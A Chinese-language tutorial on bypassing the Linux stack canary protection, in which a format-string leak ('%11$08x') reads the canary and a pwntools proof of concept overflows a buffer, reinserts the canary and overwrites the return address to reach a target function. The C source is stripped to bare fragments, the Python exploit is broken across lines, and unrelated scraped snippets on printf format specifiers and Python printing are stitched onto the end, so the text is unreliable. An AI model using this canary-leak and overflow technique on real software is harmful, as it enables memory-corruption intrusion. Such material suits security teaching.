0x01 canary保護機制
棧溢位保護是一種緩衝區溢位攻擊緩解手段,當函式存在緩衝區溢位攻擊漏洞時,攻擊者可以覆蓋棧上的返回位址來讓shellcode能夠得到執行。當啟用棧保護後,函式開始執行的時候會先往棧裡插入cookie資訊,當函式真正返回的時候會驗證cookie資訊是否合法,如果不合法就停止程式執行。攻擊者在覆蓋返回位址的時候往往也會將cookie資訊給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在linux中我們將cookie資訊稱為canary。
0x02 溢位例子
整體思路:
找到溢位點,用我們的shellcode去覆蓋棧裡面的資料,但新增了canary保護,直接覆蓋會把canary也覆蓋,導致程式不能執行,所以我們要找出canary,在覆蓋的時候,把canary放在payload裡,canary覆蓋canary,這樣保證canary沒有被覆蓋,其他棧資料被覆蓋,就可以過canary保護了。
程式:
#include
void
exploit()
void
func()
intmain()
利用棧溢位去執行exploit程式,編譯:
我們要利用read棧溢位,去執行exploit函式,所以我們要覆蓋0xffffd00c這個位址資料,內容更換為exploit首位址,但是加了canary保護,我們在覆蓋的時候不能覆蓋掉canary資訊。所以我們在覆蓋棧內資料的時候,canary還覆蓋成canary資訊就行了。
但每次程式執行canary的值都不會相同,這又頭疼了,這個時候我們的格式化輸出就有用處了。我們可以將canary輸出來,然後動態加到我們payload中,這樣保證每次都是那個canary
我們可以找到canary距棧頂的距離,這個是不會變的,然後用格式化輸出就行了。
利用read將printf要的資料輸進去,內容:"%11$08x"
,這樣printf就會列印距棧頂11個,就是44個byte,然後列印8個16進製制資料,就是canary資訊了
poc:
from pwn import *
p=process
("./5.exe")p.
sendline
("%11$08x"
)canary=p.
recv()
[:8]
print
(canary)
canary=canary.
decode
("hex")[
::-1
]//將canary轉成16進製制
coffset=4*
4//read函式距canary16個byte
roffset=3*
4raddr=
p32(
0x80484cb
)//exploit位址
payload=coffset*
'a'+canary+roffset*
'a'+raddr
p.sendline
(payload)
p.interactive
()
執行,成功
0x04 總結
加了canary保護,在呼叫函式前,會加乙個canary資訊到棧裡面,如果我們利用棧溢位覆蓋了棧裡面的資料,覆蓋了這個canary資訊,程式就不能執行。並且每次程式執行,這個canary資訊都是不同的,所以我們不能靜態的加入到我們的payload裡。
找到exploit函式位址
找到buf首位址距canary位址的距離,就是有溢位的地方,在棧裡存放資料的首位址,與canary的距離
計算ret語句需要的棧資料與canary距離
當執行到格式化輸出語句時,檢視當前棧裡資料,計算canary與棧頂的距離(每4byte為1)
修改poc程式,執行
格式化輸出
a 浮點數 十六進製制數字和p 記數法 a 浮點數 十六進製制數字和p 記法 c 乙個字元 char c 乙個iso寬字元 d 有符號十進位制整數 int ld ld 長整型資料 long hd 輸出短整形。e 浮點數 e 記數法 e 浮點數 記數法 f 單精度浮點數 預設float 十進位制記數法...
格式化輸出
a 浮點數 十六進製制數字和p 記數法 a 浮點數 十六進製制數字和p 記法 c 乙個字元 char c 乙個iso寬字元 d 有符號十進位制整數 int ld ld 長整型資料 long hd 輸出短整形。e 浮點數 e 記數法 e 浮點數 記數法 f 單精度浮點數 預設float 十進位制記數法...
格式化輸出
簡單輸出 print 你好小明 print 你好小紅 print 你好小李 帶變數的輸出 更有靈活性,易於維護 name 小李 print name 加號拼接字串 pay 8 print 花費一共 pay 元 print裡用逗號列印多個變數 name 小明 score 90 print name,s...